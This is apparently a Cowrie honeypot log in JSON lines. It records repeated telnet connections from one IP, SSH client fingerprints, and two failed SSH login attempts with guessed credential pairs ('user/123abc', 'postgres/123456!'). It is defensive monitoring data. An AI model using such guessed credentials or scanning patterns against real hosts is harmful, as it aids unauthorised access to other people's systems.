{"eventid":"cowrie.session.closed","duration":30.812299728393555,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:29.098540Z","src_ip":"5.196.58.99","session":"45cec2cbb8eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55122,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf504d2ce7d3","protocol":"telnet","message":"New connection: 5.196.58.99:55122 (10.17.0.5:23) [session: cf504d2ce7d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:29.197177Z"}
{"eventid":"cowrie.session.closed","duration":30.828723192214966,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:29.509826Z","src_ip":"5.196.58.99","session":"d68748f62f2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55128,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cae53939372","protocol":"telnet","message":"New connection: 5.196.58.99:55128 (10.17.0.5:23) [session: 0cae53939372]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:29.516590Z"}
{"eventid":"cowrie.session.closed","duration":30.266391277313232,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:30.047920Z","src_ip":"5.196.58.99","session":"a6eaed701f78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.26783275604248,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:30.378767Z","src_ip":"5.196.58.99","session":"8d29efd1105f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.967665672302246,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:30.400823Z","src_ip":"5.196.58.99","session":"4ea280bf7ea0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.453197479248047,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:30.721947Z","src_ip":"5.196.58.99","session":"f9d97b3f55d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.25826406478882,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:31.141140Z","src_ip":"5.196.58.99","session":"2b62d0988c52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55156,"dst_ip":"10.17.0.5","dst_port":23,"session":"59c0ee419bb4","protocol":"telnet","message":"New connection: 5.196.58.99:55156 (10.17.0.5:23) [session: 59c0ee419bb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:31.954798Z"}
{"eventid":"cowrie.session.closed","duration":30.6128249168396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:32.094556Z","src_ip":"5.196.58.99","session":"ba72cabe669c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55160,"dst_ip":"10.17.0.5","dst_port":23,"session":"abe57f087388","protocol":"telnet","message":"New connection: 5.196.58.99:55160 (10.17.0.5:23) [session: abe57f087388]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:32.651806Z"}
{"eventid":"cowrie.session.closed","duration":30.88242745399475,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:33.098130Z","src_ip":"5.196.58.99","session":"cf923d5fd319","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.907552003860474,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:33.323675Z","src_ip":"5.196.58.99","session":"e55f84aca0af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55166,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9d0445fcd50","protocol":"telnet","message":"New connection: 5.196.58.99:55166 (10.17.0.5:23) [session: d9d0445fcd50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:33.393440Z"}
{"eventid":"cowrie.session.closed","duration":30.117536783218384,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:34.056195Z","src_ip":"5.196.58.99","session":"39a960e5eaee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.48.213.208","src_port":44752,"dst_ip":"10.17.0.5","dst_port":22,"session":"afc77ed8e4e3","protocol":"ssh","message":"New connection: 185.48.213.208:44752 (10.17.0.5:22) [session: afc77ed8e4e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:35.119942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:35.125370Z","src_ip":"185.48.213.208","session":"afc77ed8e4e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.065204858779907,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:35.130874Z","src_ip":"5.196.58.99","session":"6974449651fd","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:35.243619Z","src_ip":"185.48.213.208","session":"afc77ed8e4e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123abc","message":"login attempt [user/123abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:35.746026Z","src_ip":"185.48.213.208","session":"afc77ed8e4e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.756902933120728,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:35.839710Z","src_ip":"5.196.58.99","session":"76f307c83dd5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55159282684326,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:36.422113Z","src_ip":"5.196.58.99","session":"40f002dc67a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:36.866638Z","src_ip":"185.48.213.208","session":"afc77ed8e4e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.813584089279175,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:37.235522Z","src_ip":"5.196.58.99","session":"5b20a5e2d1b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.29814124107361,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:38.305858Z","src_ip":"5.196.58.99","session":"dbdb059477dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.122366428375244,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:38.761803Z","src_ip":"5.196.58.99","session":"7325166ae0ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.37915825843811,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:38.917693Z","src_ip":"174.138.46.234","session":"39b5b2ed582b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.723466396331787,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:39.216041Z","src_ip":"5.196.58.99","session":"8c8f4c25eb60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.247684240341187,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:39.722297Z","src_ip":"5.196.58.99","session":"92a9322af2e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.702683448791504,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:40.173627Z","src_ip":"5.196.58.99","session":"38b5733195c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.540652751922607,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:40.388418Z","src_ip":"5.196.58.99","session":"82b3c2ac0aab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.162670850753784,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:42.122447Z","src_ip":"5.196.58.99","session":"e48fe095496d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.265480041503906,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:43.097372Z","src_ip":"5.196.58.99","session":"7aa67f844afd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":59076,"dst_ip":"10.17.0.5","dst_port":23,"session":"c236ed4b34ec","protocol":"telnet","message":"New connection: 5.196.58.99:59076 (10.17.0.5:23) [session: c236ed4b34ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:43.850500Z"}
{"eventid":"cowrie.session.closed","duration":31.07970356941223,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:44.364448Z","src_ip":"5.196.58.99","session":"f183be7f8036","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51627278327942,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:44.425939Z","src_ip":"5.196.58.99","session":"17dc84d7cebd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.576652765274048,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:44.526976Z","src_ip":"5.196.58.99","session":"454504e4b930","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.692556381225586,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:46.760520Z","src_ip":"5.196.58.99","session":"edf2b4c5f9de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":42004,"dst_ip":"10.17.0.5","dst_port":23,"session":"f80df4333db8","protocol":"telnet","message":"New connection: 5.196.58.99:42004 (10.17.0.5:23) [session: f80df4333db8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:46.800220Z"}
{"eventid":"cowrie.session.closed","duration":30.576963424682617,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:48.220425Z","src_ip":"5.196.58.99","session":"2748e3d4629d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.101390600204468,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:48.644209Z","src_ip":"5.196.58.99","session":"205d8cff9152","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.444279432296753,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:49.170558Z","src_ip":"5.196.58.99","session":"8ba80358e102","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90964651107788,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:50.066539Z","src_ip":"5.196.58.99","session":"9c95f16ec05c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.302494764328003,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:50.578540Z","src_ip":"5.196.58.99","session":"f54cf6b5dfd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":42006,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dd95b74ee7f","protocol":"telnet","message":"New connection: 5.196.58.99:42006 (10.17.0.5:23) [session: 7dd95b74ee7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:50.812595Z"}
{"eventid":"cowrie.session.closed","duration":31.037378311157227,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:53.110008Z","src_ip":"5.196.58.99","session":"d1d6ad317a48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.682827472686768,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:53.117441Z","src_ip":"5.196.58.99","session":"66dbf2ea2ab3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8812894821167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:53.164758Z","src_ip":"5.196.58.99","session":"b426dc12ff2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":42016,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea113d637376","protocol":"telnet","message":"New connection: 5.196.58.99:42016 (10.17.0.5:23) [session: ea113d637376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:53.267145Z"}
{"eventid":"cowrie.session.closed","duration":30.612313508987427,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:54.177586Z","src_ip":"5.196.58.99","session":"f536376bb0c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15402126312256,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:54.582219Z","src_ip":"5.196.58.99","session":"fcb813ab82b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.761203289031982,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:55.320862Z","src_ip":"5.196.58.99","session":"7ebcfe6f9d9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.768534898757935,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:57.073096Z","src_ip":"5.196.58.99","session":"3b789e231cc0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16552758216858,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:58.788806Z","src_ip":"5.196.58.99","session":"adf42c7362a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.223872184753418,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:58.983353Z","src_ip":"5.196.58.99","session":"b2ef324a35e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.846983671188354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:15:00.044017Z","src_ip":"5.196.58.99","session":"cf504d2ce7d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.187867641448975,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:15:00.234908Z","src_ip":"5.196.58.99","session":"3563c5433970","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.845479249954224,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:15:00.361984Z","src_ip":"5.196.58.99","session":"0cae53939372","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":41838,"dst_ip":"10.17.0.5","dst_port":23,"session":"85d384fb1f82","protocol":"telnet","message":"New connection: 5.196.58.99:41838 (10.17.0.5:23) [session: 85d384fb1f82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:15:01.050665Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":41848,"dst_ip":"10.17.0.5","dst_port":23,"session":"a35c1b486efa","protocol":"telnet","message":"New connection: 5.196.58.99:41848 (10.17.0.5:23) [session: a35c1b486efa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:15:01.211855Z"}
{"eventid":"cowrie.session.closed","duration":30.139955282211304,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:15:02.094668Z","src_ip":"5.196.58.99","session":"59c0ee419bb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.883363008499146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:15:03.535090Z","src_ip":"5.196.58.99","session":"abe57f087388","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.241236448287964,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:15:04.634587Z","src_ip":"5.196.58.99","session":"d9d0445fcd50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":43982,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5b0d338c4e1","protocol":"telnet","message":"New connection: 5.196.58.99:43982 (10.17.0.5:23) [session: a5b0d338c4e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:15:05.929702Z"}
{"eventid":"cowrie.session.closed","duration":30.547608137130737,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:15:14.398006Z","src_ip":"5.196.58.99","session":"c236ed4b34ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.259058952331543,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:15:17.059333Z","src_ip":"5.196.58.99","session":"f80df4333db8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":35378,"dst_ip":"10.17.0.5","dst_port":23,"session":"4514bc97b144","protocol":"telnet","message":"New connection: 5.196.58.99:35378 (10.17.0.5:23) [session: 4514bc97b144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:15:18.766140Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.4.244.179","src_port":60628,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc00fd888da7","protocol":"ssh","message":"New connection: 155.4.244.179:60628 (10.17.0.5:22) [session: fc00fd888da7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:15:19.878451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:15:19.886999Z","src_ip":"155.4.244.179","session":"fc00fd888da7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:15:19.992532Z","src_ip":"155.4.244.179","session":"fc00fd888da7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456!","message":"login attempt [postgres/123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:15:20.904381Z","src_ip":"155.4.244.179","session":"fc00fd888da7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.259071111679077,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:15:21.071561Z","src_ip":"5.196.58.99","session":"7dd95b74ee7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":35386,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fd530427058","protocol":"telnet","message":"New connection: 5.196.58.99:35386 (10.17.0.5:23) [session: 4fd530427058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:15:21.275748Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:15:22.012239Z","src_ip":"155.4.244.179","session":"fc00fd888da7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":39828,"dst_ip":"10.17.0.5","dst_port":23,"session":"5761e1bbb9ab","protocol":"telnet","message":"New connection: 5.196.58.99:39828 (10.17.0.5:23) [session: 5761e1bbb9ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:15:23.664767Z"}
{"eventid":"cowrie.session.closed","duration":31.103765964508057,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:15:24.370754Z","src_ip":"5.196.58.99","session":"ea113d637376","protocol":"telnet"}
